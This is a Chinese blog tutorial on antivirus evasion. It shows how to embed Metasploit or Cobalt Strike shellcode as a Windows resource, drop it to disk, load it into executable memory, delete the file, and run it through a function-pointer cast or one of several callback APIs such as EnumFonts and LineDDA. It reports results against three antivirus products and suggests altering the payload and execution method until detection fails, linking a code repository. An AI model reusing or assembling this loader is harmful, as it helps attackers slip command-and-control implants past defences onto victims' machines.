资源分离免杀

起因

很多文章都写到了分离免杀,采用的方法是将 shellcode 和 执行函数分离,开辟内存空间复制 shellcode,然后执行函数执行。改进版就是远程加载,让木马去下载存储在远程服务器的 shellcode。

昨天看 BackStab 代码的时候,它有一个将 ProcEXP.sys 放入资源文件,加载驱动前写入到磁盘的操作。这种操作其实就可以替代远程加载,只需要上传一个 exe 文件,在读取 shellcode 前先在当前目录释放一个 bin 文件,文件内容复制到开辟好的内存空间后再删除该文件,随后调用执行函数执行。

过程

加载资源

首先肯定是添加资源,随便添加什么资源,到时候再改就好了

image-20210629164331246

在项目目录下新建一个 resources 文件夹,存上 MSF 或 CS 生成的 shellcode 文件:

image-20210629164528797

打开 资源文件(.rc),用编辑方式打开:

image-20210629164646700

修改资源文件

1
2
3
#include "resource.h"

IDR_SYS RCDATA "..\resources\1.bin"

同样 resource.h 也应该修改

1
#define IDR_SYS                      101

资源释放

释放资源有两步,首先要定位资源并得到资源的大小和内容,然后写入文件。

第一步需要用到 4 个 API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 确定资源位置,获得资源句柄
HRSRC FindResourceA(
  HMODULE hModule,	// NULL 代表当前进程或模块
  LPCSTR  lpName,	// 资源名称,MAKEINTRESOURCE(ID),这里就是 MAKEINTRESOURCE(101)
  LPCSTR  lpType	// 资源类型,这里是RT_RCDATA,Application-defined resource (raw data)
);

//指定的资源加载到内存当中,获得句柄
HGLOBAL LoadResource(
  HMODULE hModule,	// Null 代表当前进程或模块
  HRSRC   hResInfo	// 资源句柄
);

// 锁定内存中的资源,返回指向资源数据的内存指针
LPVOID LockResource(
  HGLOBAL hResData
);

// 资源大小
DWORD SizeofResource(
  HMODULE hModule,
  HRSRC   hResInfo
);

这样就可以获得内存中资源数据的指针和资源大小。

第二步就是新建和写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HANDLE CreateFileW(
  LPCWSTR               lpFileName,
  DWORD                 dwDesiredAccess,	// GENERIC_WRITE
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,	// FILE_ATTRIBUTE_NORMAL
  DWORD                 dwCreationDisposition,	// CREATE_ALWAYS
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

BOOL WriteFile(
  HANDLE       hFile,
  LPCVOID      lpBuffer,	// LockResource 返回的指针
  DWORD        nNumberOfBytesToWrite,	// SizeofResource 返回的大小
  LPDWORD      lpNumberOfBytesWritten,
  LPOVERLAPPED lpOverlapped
);

文件写入到内存并删除

将释放出来的文件写入到内存中,用的还是老方法,开辟内存空间后打开文件,用 ReadFile 读到开辟好的内存空间中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//申请内存空间
LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

//打开文件仍然用 CreateFileW,修改参数为打开并读取
CreateFileW("1.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL)

// 获取文件大小
DWORD GetFileSize(
  HANDLE  hFile,
  LPDWORD lpFileSizeHigh
);

// 读取文件到指定的缓冲器中
BOOL ReadFile(
  HANDLE       hFile,
  LPVOID       lpBuffer,	// 开辟的内存空间指针
  DWORD        nNumberOfBytesToRead,
  LPDWORD      lpNumberOfBytesRead,
  LPOVERLAPPED lpOverlapped
);

删除操作用的 DeleteFileW

1
DeleteFileW(Path);

执行

执行的方法就很多了,经典执行:

1
2
3
typedef void(__stdcall* CODE) ();
CODE code = (CODE)lpAddress;
code();

回调函数执行,参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0);

EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)shellcode, 0, 0);

LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)shellcode, 0);

EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode,0);

EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)shellcode,(LPARAM)0);

GrayString(0, 0, (GRAYSTRINGPROC)(char *)shellcode, 1, 2, 3, 4, 5, 6);

CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0);

EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)shellcode, 0);

结果

杀软1检测:

image-20210629174907927

杀软2检测:

image-20210629175207180

杀软3检测:

image-20210629180554436

后续

更改远程连接的地址只需要在编译前替换 resources 文件夹下的 bin 文件即可。

这里用的是 msf 生成的默认 shellcode 文件,被杀软检测出具备 MSF 特征,只需要对这个 bin 做处理就可以了,还可以更换执行函数来绕过杀软的检测,根据查杀的情况不同修改。

代码地址:https://github.com/Ryze-T/Bypass_frames